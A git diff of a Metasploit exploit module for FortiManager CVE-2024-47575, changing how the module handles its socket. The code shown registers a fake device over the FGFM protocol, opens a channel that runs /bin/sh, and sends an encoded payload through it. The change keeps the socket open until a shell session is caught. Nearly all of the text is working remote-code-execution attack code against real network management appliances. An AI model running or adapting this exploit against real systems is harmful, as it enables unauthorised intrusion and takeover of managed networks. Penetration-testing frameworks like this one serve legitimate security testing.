diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb index b424fb18fe..61f55603e9 100644 --- a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -78,11 +78,11 @@ class MetasploitModule < Msf::Exploit::Remote end def check - s = make_socket + fgfm_sock = make_socket - peer_cert = OpenSSL::X509::Certificate.new(s.peer_cert) + peer_cert = OpenSSL::X509::Certificate.new(fgfm_sock.peer_cert) - s.close + fgfm_sock.close organization = get_cert_subject_item(peer_cert, 'O') @@ -131,15 +131,15 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Connecting...') - s = make_socket + fgfm_sock = make_socket - fail_with(Failure::UnexpectedReply, 'Connection failed.') unless s + fail_with(Failure::UnexpectedReply, 'Connection failed.') unless fgfm_sock print_status('Registering device...') req1 = "get auth\r\nserialno=#{serial_number}\r\nplatform=#{platform}\r\nhostname=localhost\r\n\r\n\x00" - resp1 = send_packet(s, req1) + resp1 = send_packet(fgfm_sock, req1) unless resp1&.include?('reply 200') fail_with(Failure::UnexpectedReply, 'Request 1 failed: No reply 200.') @@ -149,7 +149,7 @@ class MetasploitModule < Msf::Exploit::Remote req2 = "get connect_tcp\r\ntcp_port=rsh\r\nchan_window_sz=#{32 * 1024}\r\nterminal=1\r\ncmd=/bin/sh\r\nlocalid=0\r\n\r\n\x00" - resp2 = send_packet(s, req2) + resp2 = send_packet(fgfm_sock, req2) unless resp2&.include?('action=ack') fail_with(Failure::UnexpectedReply, 'Request 2 failed: No ack.') @@ -164,13 +164,7 @@ class MetasploitModule < Msf::Exploit::Remote req3 = "channel\r\nremoteid=#{localid[1]}\r\n\r\n\x00" + payload.encoded.length.to_s + "\n" + payload.encoded + "0\n" - send_packet(s, req3, read: false) - - # A short delay, as we send our payload over the chanel, we want to keep this channel open long enough for the - # server-side to process it and execute the payload, before we tear down the socket. - Rex::ThreadSafe.sleep(1) - - s.close + send_packet(fgfm_sock, req3, read: false) end # We create a TCP socket like this as we want to control how we specify the client certificate/key pair, which may @@ -199,19 +193,28 @@ class MetasploitModule < Msf::Exploit::Remote params.ssl_client_key = get_client_key unless datastore['ClientKey'] - Rex::Socket::Tcp.create_param(params) + fgfm_sock = Rex::Socket::Tcp.create_param(params) + + # Register our new socket, so that abort_sockets will close this socket after the payload handler + # has caught the session (or untill WfSDelay timesout). This avois us haviung to intriduce a seperate timeout + # in the exploit method, before we manually close the socket and then try to catch the session. We want to keep + # the socket open until we have a session, as closing the socket too quickly can prevent the payload command + # we transmit over the FGFM channel on this socket from executing. + add_socket(fgfm_sock) + + fgfm_sock end - def send_packet(sock, data, read: true) + def send_packet(fgfm_sock, data, read: true) packet = [0x36E01100, data.length + 8].pack('NN') packet += data - sock.write(packet) + fgfm_sock.write(packet) return nil unless read - header = sock.read(8) + header = fgfm_sock.read(8) unless header print_error('Failed to read an FGFM header') @@ -230,7 +233,7 @@ class MetasploitModule < Msf::Exploit::Remote return nil end - sock.read(len - 8) + fgfm_sock.read(len - 8) end def get_cert_subject_item(cert, type)